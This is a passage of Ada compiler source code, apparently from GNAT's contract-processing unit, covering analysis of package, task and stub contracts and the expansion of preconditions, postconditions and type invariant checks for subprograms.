Present (Items) then if Analyzed (Items) then return; else Set_Analyzed (Items); end if; end if; -- Due to the timing of contract analysis, delayed pragmas may be -- subject to the wrong SPARK_Mode, usually that of the enclosing -- context. To remedy this, restore the original SPARK_Mode of the -- related package. Set_SPARK_Mode (Pack_Id); if Present (Items) then -- Locate and store pragmas Initial_Condition and Initializes, since -- their order of analysis matters. Prag := Classifications (Items); while Present (Prag) loop Prag_Nam := Pragma_Name (Prag); if Prag_Nam = Name_Initial_Condition then Init_Cond := Prag; elsif Prag_Nam = Name_Initializes then Init := Prag; end if; Prag := Next_Pragma (Prag); end loop; -- Analyze the initialization-related pragmas. Initializes must come -- before Initial_Condition due to item dependencies. if Present (Init) then Analyze_Initializes_In_Decl_Part (Init); end if; if Present (Init_Cond) then Analyze_Initial_Condition_In_Decl_Part (Init_Cond); end if; end if; -- Restore the SPARK_Mode of the enclosing context after all delayed -- pragmas have been analyzed. Restore_SPARK_Mode (Saved_SM, Saved_SMP); -- Capture all global references in a generic package now that the -- contract has been analyzed. if Is_Generic_Declaration_Or_Body (Pack_Decl) then Save_Global_References_In_Contract (Templ => Original_Node (Pack_Decl), Gen_Id => Pack_Id); end if; end Analyze_Package_Contract; -------------------------------------------- -- Analyze_Package_Instantiation_Contract -- -------------------------------------------- -- WARNING: This routine manages SPARK regions. Return statements must be -- replaced by gotos which jump to the end of the routine and restore the -- SPARK mode. procedure Analyze_Package_Instantiation_Contract (Inst_Id : Entity_Id) is Inst_Spec : constant Node_Id := Instance_Spec (Unit_Declaration_Node (Inst_Id)); Saved_SM : constant SPARK_Mode_Type := SPARK_Mode; Saved_SMP : constant Node_Id := SPARK_Mode_Pragma; -- Save the SPARK_Mode-related data to restore on exit Pack_Id : Entity_Id; Prag : Node_Id; begin -- Nothing to do when the package instantiation is erroneous or left -- partially decorated. if No (Inst_Spec) then return; end if; Pack_Id := Defining_Entity (Inst_Spec); Prag := Get_Pragma (Pack_Id, Pragma_Part_Of); -- Due to the timing of contract analysis, delayed pragmas may be -- subject to the wrong SPARK_Mode, usually that of the enclosing -- context. To remedy this, restore the original SPARK_Mode of the -- related package. Set_SPARK_Mode (Pack_Id); -- Check whether the lack of indicator Part_Of agrees with the placement -- of the package instantiation with respect to the state space. Nested -- package instantiations do not need to be checked because they inherit -- Part_Of indicator of the outermost package instantiation (see routine -- Propagate_Part_Of in Sem_Prag). if In_Instance then null; elsif No (Prag) then Check_Missing_Part_Of (Pack_Id); end if; -- Restore the SPARK_Mode of the enclosing context after all delayed -- pragmas have been analyzed. Restore_SPARK_Mode (Saved_SM, Saved_SMP); end Analyze_Package_Instantiation_Contract; -------------------------------- -- Analyze_Protected_Contract -- -------------------------------- procedure Analyze_Protected_Contract (Prot_Id : Entity_Id) is Items : constant Node_Id := Contract (Prot_Id); begin -- Do not analyze a contract multiple times if Present (Items) then if Analyzed (Items) then return; else Set_Analyzed (Items); end if; end if; end Analyze_Protected_Contract; ------------------------------------------- -- Analyze_Subprogram_Body_Stub_Contract -- ------------------------------------------- procedure Analyze_Subprogram_Body_Stub_Contract (Stub_Id : Entity_Id) is Stub_Decl : constant Node_Id := Parent (Parent (Stub_Id)); Spec_Id : constant Entity_Id := Corresponding_Spec_Of_Stub (Stub_Decl); begin -- A subprogram body stub may act as its own spec or as the completion -- of a previous declaration. Depending on the context, the contract of -- the stub may contain two sets of pragmas. -- The stub is a completion, the applicable pragmas are: -- Refined_Depends -- Refined_Global if Present (Spec_Id) then Analyze_Entry_Or_Subprogram_Body_Contract (Stub_Id); -- The stub acts as its own spec, the applicable pragmas are: -- Contract_Cases -- Depends -- Global -- Postcondition -- Precondition -- Test_Case else Analyze_Entry_Or_Subprogram_Contract (Stub_Id); end if; end Analyze_Subprogram_Body_Stub_Contract; --------------------------- -- Analyze_Task_Contract -- --------------------------- -- WARNING: This routine manages SPARK regions. Return statements must be -- replaced by gotos which jump to the end of the routine and restore the -- SPARK mode. procedure Analyze_Task_Contract (Task_Id : Entity_Id) is Items : constant Node_Id := Contract (Task_Id); Saved_SM : constant SPARK_Mode_Type := SPARK_Mode; Saved_SMP : constant Node_Id := SPARK_Mode_Pragma; -- Save the SPARK_Mode-related data to restore on exit Prag : Node_Id; begin -- Do not analyze a contract multiple times if Present (Items) then if Analyzed (Items) then return; else Set_Analyzed (Items); end if; end if; -- Due to the timing of contract analysis, delayed pragmas may be -- subject to the wrong SPARK_Mode, usually that of the enclosing -- context. To remedy this, restore the original SPARK_Mode of the -- related task unit. Set_SPARK_Mode (Task_Id); -- Analyze Global first, as Depends may mention items classified in the -- global categorization. Prag := Get_Pragma (Task_Id, Pragma_Global); if Present (Prag) then Analyze_Global_In_Decl_Part (Prag); end if; -- Depends must be analyzed after Global in order to see the modes of -- all global items. Prag := Get_Pragma (Task_Id, Pragma_Depends); if Present (Prag) then Analyze_Depends_In_Decl_Part (Prag); end if; -- Restore the SPARK_Mode of the enclosing context after all delayed -- pragmas have been analyzed. Restore_SPARK_Mode (Saved_SM, Saved_SMP); end Analyze_Task_Contract; --------------------------- -- Analyze_Type_Contract -- --------------------------- procedure Analyze_Type_Contract (Type_Id : Entity_Id) is begin Check_Type_Or_Object_External_Properties (Type_Or_Obj_Id => Type_Id); end Analyze_Type_Contract; ----------------------------- -- Create_Generic_Contract -- ----------------------------- procedure Create_Generic_Contract (Unit : Node_Id) is Templ : constant Node_Id := Original_Node (Unit); Templ_Id : constant Entity_Id := Defining_Entity (Templ); procedure Add_Generic_Contract_Pragma (Prag : Node_Id); -- Add a single contract-related source pragma Prag to the contract of -- generic template Templ_Id. --------------------------------- -- Add_Generic_Contract_Pragma -- --------------------------------- procedure Add_Generic_Contract_Pragma (Prag : Node_Id) is Prag_Templ : Node_Id; begin -- Mark the pragma to prevent the premature capture of global -- references when capturing global references of the context -- (see Save_References_In_Pragma). Set_Is_Generic_Contract_Pragma (Prag); -- Pragmas that apply to a generic subprogram declaration are not -- part of the semantic structure of the generic template: -- generic -- procedure Example (Formal : Integer); -- pragma Precondition (Formal > 0); -- Create a generic template for such pragmas and link the template -- of the pragma with the generic template. if Nkind (Templ) = N_Generic_Subprogram_Declaration then Rewrite (Prag, Copy_Generic_Node (Prag, Empty, Instantiating => False)); Prag_Templ := Original_Node (Prag); Set_Is_Generic_Contract_Pragma (Prag_Templ); Add_Contract_Item (Prag_Templ, Templ_Id); -- Otherwise link the pragma with the generic template else Add_Contract_Item (Prag, Templ_Id); end if; end Add_Generic_Contract_Pragma; -- Local variables Context : constant Node_Id := Parent (Unit); Decl : Node_Id := Empty; -- Start of processing for Create_Generic_Contract begin -- A generic package declaration carries contract-related source pragmas -- in its visible declarations. if Nkind (Templ) = N_Generic_Package_Declaration then Set_Ekind (Templ_Id, E_Generic_Package); if Present (Visible_Declarations (Specification (Templ))) then Decl := First (Visible_Declarations (Specification (Templ))); end if; -- A generic package body carries contract-related source pragmas in its -- declarations. elsif Nkind (Templ) = N_Package_Body then Set_Ekind (Templ_Id, E_Package_Body); if Present (Declarations (Templ)) then Decl := First (Declarations (Templ)); end if; -- Generic subprogram declaration elsif Nkind (Templ) = N_Generic_Subprogram_Declaration then if Nkind (Specification (Templ)) = N_Function_Specification then Set_Ekind (Templ_Id, E_Generic_Function); else Set_Ekind (Templ_Id, E_Generic_Procedure); end if; -- When the generic subprogram acts as a compilation unit, inspect -- the Pragmas_After list for contract-related source pragmas. if Nkind (Context) = N_Compilation_Unit then if Present (Aux_Decls_Node (Context)) and then Present (Pragmas_After (Aux_Decls_Node (Context))) then Decl := First (Pragmas_After (Aux_Decls_Node (Context))); end if; -- Otherwise inspect the successive declarations for contract-related -- source pragmas. else Decl := Next (Unit); end if; -- A generic subprogram body carries contract-related source pragmas in -- its declarations. elsif Nkind (Templ) = N_Subprogram_Body then Set_Ekind (Templ_Id, E_Subprogram_Body); if Present (Declarations (Templ)) then Decl := First (Declarations (Templ)); end if; end if; -- Inspect the relevant declarations looking for contract-related source -- pragmas and add them to the contract of the generic unit. while Present (Decl) loop if Comes_From_Source (Decl) then if Nkind (Decl) = N_Pragma then -- The source pragma is a contract annotation if Is_Contract_Annotation (Decl) then Add_Generic_Contract_Pragma (Decl); end if; -- The region where a contract-related source pragma may appear -- ends with the first source non-pragma declaration or statement. else exit; end if; end if; Next (Decl); end loop; end Create_Generic_Contract; -------------------------------- -- Expand_Subprogram_Contract -- -------------------------------- procedure Expand_Subprogram_Contract (Body_Id : Entity_Id) is Body_Decl : constant Node_Id := Unit_Declaration_Node (Body_Id); Spec_Id : constant Entity_Id := Corresponding_Spec (Body_Decl); procedure Add_Invariant_And_Predicate_Checks (Subp_Id : Entity_Id; Stmts : in out List_Id; Result : out Node_Id); -- Process the result of function Subp_Id (if applicable) and all its -- formals. Add invariant and predicate checks where applicable. The -- routine appends all the checks to list Stmts. If Subp_Id denotes a -- function, Result contains the entity of parameter _Result, to be -- used in the creation of procedure _Postconditions. procedure Append_Enabled_Item (Item : Node_Id; List : in out List_Id); -- Append a node to a list. If there is no list, create a new one. When -- the item denotes a pragma, it is added to the list only when it is -- enabled. procedure Build_Postconditions_Procedure (Subp_Id : Entity_Id; Stmts : List_Id; Result : Entity_Id); -- Create the body of procedure _Postconditions which handles various -- assertion actions on exit from subprogram Subp_Id. Stmts is the list -- of statements to be checked on exit. Parameter Result is the entity -- of parameter _Result when Subp_Id denotes a function. procedure Process_Contract_Cases (Stmts : in out List_Id); -- Process pragma Contract_Cases. This routine prepends items to the -- body declarations and appends items to list Stmts. procedure Process_Postconditions (Stmts : in out List_Id); -- Collect all [inherited] spec and body postconditions and accumulate -- their pragma Check equivalents in list Stmts. procedure Process_Preconditions; -- Collect all [inherited] spec and body preconditions and prepend their -- pragma Check equivalents to the declarations of the body. ---------------------------------------- -- Add_Invariant_And_Predicate_Checks -- ---------------------------------------- procedure Add_Invariant_And_Predicate_Checks (Subp_Id : Entity_Id; Stmts : in out List_Id; Result : out Node_Id) is procedure Add_Invariant_Access_Checks (Id : Entity_Id); -- Id denotes the return value of a function or a formal parameter. -- Add an invariant check if the type of Id is access to a type with -- invariants. The routine appends the generated code to Stmts. function Invariant_Checks_OK (Typ : Entity_Id) return Boolean; -- Determine whether type Typ can benefit from invariant checks. To -- qualify, the type must have a non-null invariant procedure and -- subprogram Subp_Id must appear visible from the point of view of -- the type. --------------------------------- -- Add_Invariant_Access_Checks -- --------------------------------- procedure Add_Invariant_Access_Checks (Id : Entity_Id) is Loc : constant Source_Ptr := Sloc (Body_Decl); Ref : Node_Id; Typ : Entity_Id; begin Typ := Etype (Id); if Is_Access_Type (Typ) and then not Is_Access_Constant (Typ) then Typ := Designated_Type (Typ); if Invariant_Checks_OK (Typ) then Ref := Make_Explicit_Dereference (Loc, Prefix => New_Occurrence_Of (Id, Loc)); Set_Etype (Ref, Typ); -- Generate: -- if <Id> /= null then -- <invariant_call (<Ref>)> -- end if; Append_Enabled_Item (Item => Make_If_Statement (Loc, Condition => Make_Op_Ne (Loc, Left_Opnd => New_Occurrence_Of (Id, Loc), Right_Opnd => Make_Null (Loc)), Then_Statements => New_List ( Make_Invariant_Call (Ref))), List => Stmts); end if; end if; end Add_Invariant_Access_Checks; ------------------------- -- Invariant_Checks_OK -- ------------------------- function Invariant_Checks_OK (Typ : Entity_Id) return Boolean is function Has_Public_Visibility_Of_Subprogram return Boolean; -- Determine whether type Typ has public visibility of subprogram -- Subp_Id. ----------------------------------------- -- Has_Public_Visibility_Of_Subprogram -- ----------------------------------------- function Has_Public_Visibility_Of_Subprogram return Boolean is Subp_Decl : constant Node_Id := Unit_Declaration_Node (Subp_Id); begin -- An Initialization procedure must be considered visible even -- though it is internally generated. if Is_Init_Proc (Defining_Entity (Subp_Decl)) then return True; elsif Ekind (Scope (Typ)) /= E_Package then return False; -- Internally generated code is never publicly visible except -- for a subprogram that is the implementation of an expression -- function. In that case the visibility is determined by the -- last check. elsif not Comes_From_Source (Subp_Decl) and then (Nkind (Original_Node (Subp_Decl)) /= N_Expression_Function or else not Comes_From_Source (Defining_Entity (Subp_Decl))) then return False; -- Determine whether the subprogram is declared in the visible -- declarations of the package containing the type, or in the -- visible declaration of a child unit of that package. else declare Decls : constant List_Id := List_Containing (Subp_Decl); Subp_Scope : constant Entity_Id := Scope (Defining_Entity (Subp_Decl)); Typ_Scope : constant Entity_Id := Scope (Typ); begin return Decls = Visible_Declarations (Specification (Unit_Declaration_Node (Typ_Scope))) or else (Ekind (Subp_Scope) = E_Package and then Typ_Scope /= Subp_Scope and then Is_Child_Unit (Subp_Scope) and then Is_Ancestor_Package (Typ_Scope, Subp_Scope) and then Decls = Visible_Declarations (Specification (Unit_Declaration_Node (Subp_Scope)))); end; end if; end Has_Public_Visibility_Of_Subprogram; -- Start of processing for Invariant_Checks_OK begin return Has_Invariants (Typ) and then Present (Invariant_Procedure (Typ)) and then not Has_Null_Body (Invariant_Procedure (Typ)) and then Has_Public_Visibility_Of_Subprogram; end Invariant_Checks_OK; -- Local variables Loc : constant Source_Ptr := Sloc (Body_Decl); -- Source location of subprogram body contract Formal : Entity_Id; Typ : Entity_Id; -- Start of processing for Add_Invariant_And_Predicate_Checks begin Result := Empty; -- Process the result of a function if Ekind (Subp_Id) = E_Function then Typ := Etype (Subp_Id); -- Generate _Result which is used in procedure _Postconditions to -- verify the return value. Result := Make_Defining_Identifier (Loc, Name_uResult); Set_Etype (Result, Typ); -- Add an invariant check when the return type has invariants and -- the related function is visible to the outside. if Invariant_Checks_OK (Typ) then Append_Enabled_Item (Item => Make_Invariant_Call (New_Occurrence_Of (Result, Loc)), List => Stmts); end if; -- Add an invariant check when the return type is an access to a -- type with invariants. Add_Invariant_Access_Checks (Result); end if; -- Add invariant checks for all formals that qualify (see AI05-0289 -- and AI12-0044). Formal := First_Formal (Subp_Id); while Present (Formal) loop Typ := Etype (Formal); if Ekind (Formal) /= E_In_Parameter or else Ekind (Subp_Id) = E_Procedure or else Is_Access_Type (Typ) then if Invariant_Checks_OK (Typ) then Append_Enabled_Item (Item => Make_Invariant_Call (New_Occurrence_Of (Formal, Loc)), List => Stmts); end if; Add_Invariant_Access_Checks (Formal); -- Note: we used to add predicate checks for OUT and IN OUT -- formals here, but that was misguided, since such checks are -- performed on the caller side, based on the predicate of the -- actual, rather than the predicate of the formal. end if; Next_Formal (Formal); end loop; end Add_Invariant_And_Predicate_Checks; ------------------------- -- Append_Enabled_Item -- ------------------------- procedure Append_Enabled_Item (Item : Node_Id; List : in out List_Id) is begin -- Do not chain ignored or disabled pragmas if Nkind (Item) = N_Pragma and then (Is_Ignored (Item) or else Is_Disabled (Item)) then null; -- Otherwise, add the item else if No (List) then List := New_List; end if; -- If the pragma is a conjunct in a composite postcondition, it -- has been processed in reverse order. In the postcondition body -- it must appear before the others. if Nkind (Item) = N_Pragma and then From_Aspect_Specification (Item) and then Split_PPC (Item) then Prepend (Item, List); else Append (Item, List); end if; end if; end Append_Enabled_Item; ------------------------------------ -- Build_Postconditions_Procedure -- ------------------------------------ procedure Build_Postconditions_Procedure (Subp_Id : Entity_Id; Stmts : List_Id; Result : Entity_Id) is Loc : constant Source_Ptr := Sloc (Body_Decl); Params : List_Id := No_List; Proc_Bod : Node_Id; Proc_Decl : Node_Id; Proc_Id : Entity_Id; Proc_Spec : Node_Id; begin -- Nothing to do if there are no actions to check on exit if No (Stmts) then return; end if; Proc_Id := Make_Defining_Identifier (Loc, Name_uPostconditions); Set_Debug_Info_Needed (Proc_Id); Set_Postconditions_Proc (Subp_Id, Proc_Id); -- Force the front-end inlining of _Postconditions when generating C -- code, since its body may have references to itypes defined in the -- enclosing subprogram, which would cause problems for unnesting -- routines in the absence of inlining. if Modify_Tree_For_C then Set_Has_Pragma_Inline (Proc_Id); Set_Has_Pragma_Inline_Always (Proc_Id); Set_Is_Inlined (Proc_Id); end if; -- The related subprogram is a function: create the specification of -- parameter _Result. if Present (Result) then Params := New_List ( Make_Parameter_Specification (Loc, Defining_Identifier => Result, Parameter_Type => New_Occurrence_Of (Etype (Result), Loc))); end if; Proc_Spec := Make_Procedure_Specification (Loc, Defining_Unit_Name => Proc_Id, Parameter_Specifications => Params); Proc_Decl := Make_Subprogram_Declaration (Loc, Proc_Spec); -- Insert _Postconditions before the first source declaration of the -- body. This ensures that the body will not cause any premature -- freezing, as it may mention types: -- procedure Proc (Obj : Array_Typ) is -- procedure _postconditions is -- begin -- ... Obj ... -- end _postconditions; -- subtype T is Array_Typ (Obj'First (1) .. Obj'Last (1)); -- begin -- In the example above, Obj is of type T but the incorrect placement -- of _Postconditions will cause a crash in gigi due to an out-of- -- order reference. The body of _Postconditions must be placed after -- the declaration of Temp to preserve correct visibility. Insert_Before_First_Source_Declaration (Proc_Decl, Declarations (Body_Decl)); Analyze (Proc_Decl); -- Set an explicit End_Label to override the sloc of the implicit -- RETURN statement, and prevent it from inheriting the sloc of one -- the postconditions: this would cause confusing debug info to be -- produced, interfering with coverage-analysis tools. Proc_Bod := Make_Subprogram_Body (Loc, Specification => Copy_Subprogram_Spec (Proc_Spec), Declarations => Empty_List, Handled_Statement_Sequence => Make_Handled_Sequence_Of_Statements (Loc, Statements => Stmts, End_Label => Make_Identifier (Loc, Chars (Proc_Id)))); Insert_After_And_Analyze (Proc_Decl, Proc_Bod); end Build_Postconditions_Procedure; ---------------------------- -- Process_Contract_Cases -- ---------------------------- procedure Process_Contract_Cases (Stmts : in out List_Id) is procedure Process_Contract_Cases_For (Subp_Id : Entity_Id); -- Process pragma Contract_Cases for subprogram Subp_Id -------------------------------- -- Process_Contract_Cases_For -- -------------------------------- procedure Process_Contract_Cases_For (Subp_Id : Entity_Id) is Items : constant Node_Id := Contract (Subp_Id); Prag : Node_Id; begin if Present (Items) then Prag := Contract_Test_Cases (Items); while Present (Prag) loop if Is_Checked (Prag) then if Pragma_Name (Prag) = Name_Contract_Cases then Expand_Pragma_Contract_Cases (CCs => Prag, Subp_Id => Subp_Id, Decls => Declarations (Body_Decl), Stmts => Stmts); elsif Pragma_Name (Prag) = Name_Subprogram_Variant then Expand_Pragma_Subprogram_Variant (Prag => Prag, Subp_Id => Subp_Id, Body_Decls => Declarations (Body_Decl)); end if; end if; Prag := Next_Pragma (Prag); end loop; end if; end Process_Contract_Cases_For; pragma Unmodified (Stmts); -- Stmts is passed as IN OUT to signal that the list can be updated, -- even if the corresponding integer value representing the list does -- not change. -- Start of processing for Process_Contract_Cases begin Process_Contract_Cases_For (Body_Id); if Present (Spec_Id) then Process_Contract_Cases_For (Spec_Id); end if; end Process_Contract_Cases; ---------------------------- -- Process_Postconditions -- ---------------------------- procedure Process_Postconditions (Stmts : in out List_Id) is procedure Process_Body_Postconditions (Post_Nam : Name_Id); -- Collect all [refined] postconditions of a specific kind denoted -- by Post_Nam that belong to the body, and generate pragma Check -- equivalents in list Stmts. procedure Process_Spec_Postconditions; -- Collect all [inherited] postconditions of the spec, and generate -- pragma Check equivalents in list Stmts. --------------------------------- -- Process_Body_Postconditions -- --------------------------------- procedure Process_Body_Postconditions (Post_Nam : Name_Id) is Items : constant Node_Id := Contract (Body_Id); Unit_Decl : constant Node_Id := Parent (Body_Decl); Decl : Node_Id; Prag : Node_Id; begin -- Process the contract if Present (Items) then Prag := Pre_Post_Conditions (Items); while Present (Prag) loop if Pragma_Name (Prag) = Post_Nam and then Is_Checked (Prag) then Append_Enabled_Item (Item => Build_Pragma_Check_Equivalent (Prag), List => Stmts); end if; Prag := Next_Pragma (Prag); end loop; end if; -- The subprogram body being processed is actually the proper body -- of a stub with a corresponding spec. The subprogram stub may -- carry a postcondition pragma, in which case it must be taken -- into account. The pragma appears after the stub. if Present (Spec_Id) and then Nkind (Unit_Decl) = N_Subunit then Decl := Next (Corresponding_Stub (Unit_Decl)); while Present (Decl) loop -- Note that non-matching pragmas are skipped if Nkind (Decl) = N_Pragma then if Pragma_Name (Decl) = Post_Nam and then Is_Checked (Decl) then Append_Enabled_Item (Item => Build_Pragma_Check_Equivalent (Decl), List => Stmts); end if; -- Skip internally generated code elsif not Comes_From_Source (Decl) then null; -- Postcondition pragmas are usually grouped together. There -- is no need to inspect the whole declarative list. else exit; end if; Next (Decl); end loop; end if; end Process_Body_Postconditions; --------------------------------- -- Process_Spec_Postconditions -- --------------------------------- procedure Process_Spec_Postconditions is Subps : constant Subprogram_List := Inherited_Subprograms (Spec_Id); Item : Node_Id; Items : Node_Id; Prag : Node_Id; Subp_Id : Entity_Id; begin -- Process the contract Items := Contract (Spec_Id); if Present (Items) then Prag := Pre_Post_Conditions (Items); while Present (Prag) loop if Pragma_Name (Prag) = Name_Postcondition and then Is_Checked (Prag) then Append_Enabled_Item (Item => Build_Pragma_Check_Equivalent (Prag), List => Stmts); end if; Prag := Next_Pragma (Prag); end loop; end if; -- Process the contracts of all inherited subprograms, looking for -- class-wide postconditions. for Index in Subps'Range loop Subp_Id := Subps (Index); Items := Contract (Subp_Id); if Present (Items) then Prag := Pre_Post_Conditions (Items); while Present (Prag) loop if Pragma_Name (Prag) = Name_Postcondition and then Class_Present (Prag) then Item := Build_Pragma_Check_Equivalent (Prag => Prag, Subp_Id => Spec_Id, Inher_Id => Subp_Id); -- The pragma Check equivalent of the class-wide -- postcondition is still created even though the -- pragma may be ignored because the equivalent -- performs semantic checks. if Is_Checked (Prag) then Append_Enabled_Item (Item, Stmts); end if; end if; Prag := Next_Pragma (Prag); end loop; end if; end loop; end Process_Spec_Postconditions; pragma Unmodified (Stmts); -- Stmts is passed as IN OUT to signal that the list can be updated, -- even if the corresponding integer value representing the list does -- not change. -- Start of processing for Process_Postconditions begin -- The processing of postconditions is done in reverse order (body -- first) to ensure the following arrangement: -- <refined postconditions from body> -- <postconditions from body> -- <postconditions from spec> -- <inherited postconditions> Process_Body_Postconditions (Name_Refined_Post); Process_Body_Postconditions (Name_Postcondition); if Present (Spec_Id) then Process_Spec_Postconditions; end if; end Process_Postconditions; --------------------------- -- Process_Preconditions -- --------------------------- procedure Process_Preconditions is Class_Pre : Node_Id := Empty; -- The sole [inherited] class-wide precondition pragma that applies -- to the subprogram. Insert_Node : Node_Id := Empty; -- The insertion node after which all pragma Check equivalents are -- inserted. function Is_Prologue_Renaming (Decl : Node_Id) return Boolean; -- Determine whether arbitrary declaration Decl denotes a renaming of -- a discriminant or protection field _object. procedure Merge_Preconditions (From : Node_Id; Into : Node_Id); -- Merge two class-wide preconditions by "or else"-ing them. The -- changes are accumulated in parameter Into. Update the error -- message of Into. procedure Prepend_To_Decls (Item : Node_Id); -- Prepend a single item to the declarations of the subprogram body procedure Prepend_To_Decls_Or_Save (Prag : Node_Id); -- Save a class-wide precondition into Class_Pre, or prepend a normal -- precondition to the declarations of the body and analyze it. procedure Process_Inherited_Preconditions; -- Collect all inherited class-wide preconditions and merge them into -- one big precondition to be evaluated as pragma Check. procedure Process_Preconditions_For (Subp_Id : Entity_Id); -- Collect all preconditions of subprogram Subp_Id and prepend their -- pragma Check equivalents to the declarations of the body. -------------------------- -- Is_Prologue_Renaming -- -------------------------- function Is_Prologue_Renaming (Decl : Node_Id) return Boolean is Nam : Node_Id; Obj : Entity_Id; Pref : Node_Id; Sel : Node_Id; begin if Nkind (Decl) = N_Object_Renaming_Declaration then Obj := Defining_Entity (Decl); Nam := Name (Decl); if Nkind (Nam) = N_Selected_Component then Pref := Prefix (Nam); Sel := Selector_Name (Nam); -- A discriminant renaming appears as -- Discr : constant ... := Prefix.Discr; if Ekind (Obj) = E_Constant and then Is_Entity_Name (Sel) and then Present (Entity (Sel)) and then Ekind (Entity (Sel)) = E_Discriminant then return True; -- A protection field renaming appears as -- Prot : ... := _object._object; -- A renamed private component is just a component of -- _object, with an arbitrary name. elsif Ekind (Obj) in E_Variable | E_Constant and then Nkind (Pref) = N_Identifier and then Chars (Pref) = Name_uObject and then Nkind (Sel) = N_Identifier then return True; end if; end if; end if; return False; end Is_Prologue_Renaming; ------------------------- -- Merge_Preconditions -- ------------------------- procedure Merge_Preconditions (From : Node_Id; Into : Node_Id) is function Expression_Arg (Prag : Node_Id) return Node_Id; -- Return the boolean expression argument of a precondition while -- updating its parentheses count for the subsequent merge. function Message_Arg (Prag : Node_Id) return Node_Id; -- Return the message argument of a precondition -------------------- -- Expression_Arg -- -------------------- function Expression_Arg (Prag : Node_Id) return Node_Id is Args : constant List_Id := Pragma_Argument_Associations (Prag); Arg : constant Node_Id := Get_Pragma_Arg (Next (First (Args))); begin if Paren_Count (Arg) = 0 then Set_Paren_Count (Arg, 1); end if; return Arg; end Expression_Arg; ----------------- -- Message_Arg -- ----------------- function Message_Arg (Prag : Node_Id) return Node_Id is Args : constant List_Id := Pragma_Argument_Associations (Prag); begin return Get_Pragma_Arg (Last (Args)); end Message_Arg; -- Local variables From_Expr : constant Node_Id := Expression_Arg (From); From_Msg : constant Node_Id := Message_Arg (From); Into_Expr : constant Node_Id := Expression_Arg (Into); Into_Msg : constant Node_Id := Message_Arg (Into); Loc : constant Source_Ptr := Sloc (Into); -- Start of processing for Merge_Preconditions begin -- Merge the two preconditions by "or else"-ing them Rewrite (Into_Expr, Make_Or_Else (Loc, Right_Opnd => Relocate_Node (Into_Expr), Left_Opnd => From_Expr)); -- Merge the two error messages to produce a single message of the -- form: -- failed precondition from ... -- also failed inherited precondition from ... if not Exception_Locations_Suppressed then Start_String (Strval (Into_Msg)); Store_String_Char (ASCII.LF); Store_String_Chars (" also "); Store_String_Chars (Strval (From_Msg)); Set_Strval (Into_Msg, End_String); end if; end Merge_Preconditions; ---------------------- -- Prepend_To_Decls -- ---------------------- procedure Prepend_To_Decls (Item : Node_Id) is Decls : List_Id; begin Decls := Declarations (Body_Decl); -- Ensure that the body has a declarative list if No (Decls) then Decls := New_List; Set_Declarations (Body_Decl, Decls); end if; Prepend_To (Decls, Item); end Prepend_To_Decls; ------------------------------ -- Prepend_To_Decls_Or_Save -- ------------------------------ procedure Prepend_To_Decls_Or_Save (Prag : Node_Id) is Check_Prag : Node_Id; begin Check_Prag := Build_Pragma_Check_Equivalent (Prag); -- Save the sole class-wide precondition (if any) for the next -- step, where it will be merged with inherited preconditions. if Class_Present (Prag) then pragma Assert (No (Class_Pre)); Class_Pre := Check_Prag; -- Accumulate the corresponding Check pragmas at the top of the -- declarations. Prepending the items ensures that they will be -- evaluated in their original order. else if Present (Insert_Node) then Insert_After (Insert_Node, Check_Prag); else Prepend_To_Decls (Check_Prag); end if; Analyze (Check_Prag); end if; end Prepend_To_Decls_Or_Save; ------------------------------------- -- Process_Inherited_Preconditions -- ------------------------------------- procedure Process_Inherited_Preconditions is Subps : constant Subprogram_List := Inherited_Subprograms (Spec_Id); Item : Node_Id; Items : Node_Id; Prag : Node_Id; Subp_Id : Entity_Id; begin -- Process the contracts of all inherited subprograms, looking for -- class-wide preconditions. for Index in Subps'Range loop Subp_Id := Subps (Index); Items := Contract (Subp_Id); if Present (Items) then Prag := Pre_Post_Conditions (Items); while Present (Prag) loop if Pragma_Name (Prag) = Name_Precondition and then Class_Present (Prag) then Item := Build_Pragma_Check_Equivalent (Prag => Prag, Subp_Id => Spec_Id, Inher_Id => Subp_Id); -- The pragma Check equivalent of the class-wide -- precondition is still created even though the -- pragma may be ignored because the equivalent -- performs semantic checks. if Is_Checked (Prag) then -- The spec of an inherited subprogram already -- yielded a class-wide precondition. Merge the -- existing precondition with the current one -- using "or else". if Present (Class_Pre) then Merge_Preconditions (Item, Class_Pre); else Class_Pre := Item; end if; end if; end if; Prag := Next_Pragma (Prag); end loop; end if; end loop; -- Add the merged class-wide preconditions if Present (Class_Pre) then Prepend_To_Decls (Class_Pre); Analyze (Class_Pre); end if; end Process_Inherited_Preconditions; ------------------------------- -- Process_Preconditions_For -- ------------------------------- procedure Process_Preconditions_For (Subp_Id : Entity_Id) is Items : constant Node_Id := Contract (Subp_Id); Subp_Decl : constant Node_Id := Unit_Declaration_Node (Subp_Id); Decl : Node_Id; Freeze_T : Boolean; Prag : Node_Id; begin -- Process the contract. If the body is an expression function -- that is a completion, freeze types within, because this may -- not have been done yet, when the subprogram declaration and -- its completion by an expression function appear in distinct -- declarative lists of the same unit (visible and private). Freeze_T := Was_Expression_Function (Body_Decl) and then Sloc (Body_Id) /= Sloc (Subp_Id) and then In_Same_Source_Unit (Body_Id, Subp_Id) and then List_Containing (Body_Decl) /= List_Containing (Subp_Decl); if Present (Items) then Prag := Pre_Post_Conditions (Items); while Present (Prag) loop if Pragma_Name (Prag) = Name_Precondition and then Is_Checked (Prag) then if Freeze_T and then Present (Corresponding_Aspect (Prag)) then Freeze_Expr_Types (Def_Id => Subp_Id, Typ => Standard_Boolean, Expr => Expression (First (Pragma_Argument_Associations (Prag))), N => Body_Decl); end if; Prepend_To_Decls_Or_Save (Prag); end if; Prag := Next_Pragma (Prag); end loop; end if; -- The subprogram declaration being processed is actually a body -- stub. The stub may carry a precondition pragma, in which case -- it must be taken into account. The pragma appears after the -- stub. if Nkind (Subp_Decl) = N_Subprogram_Body_Stub then -- Inspect the declarations following the body stub Decl := Next (Subp_Decl); while Present (Decl) loop -- Note that non-matching pragmas are skipped if Nkind (Decl) = N_Pragma then if Pragma_Name (Decl) = Name_Precondition and then Is_Checked (Decl) then Prepend_To_Decls_Or_Save (Decl); end if; -- Skip internally generated code elsif not Comes_From_Source (Decl) then null; -- Preconditions are usually grouped together. There is no -- need to inspect the whole declarative list. else exit; end if; Next (Decl); end loop; end if; end Process_Preconditions_For; -- Local variables Decls : constant List_Id := Declarations (Body_Decl); Decl : Node_Id; -- Start of processing for Process_Preconditions begin -- Find the proper insertion point for all pragma Check equivalents if Present (Decls) then Decl := First (Decls); while Present (Decl) loop -- First source declaration terminates the search, because all -- preconditions must be evaluated prior to it, by definition. if Comes_From_Source (Decl) then exit; -- Certain internally generated object renamings such as those -- 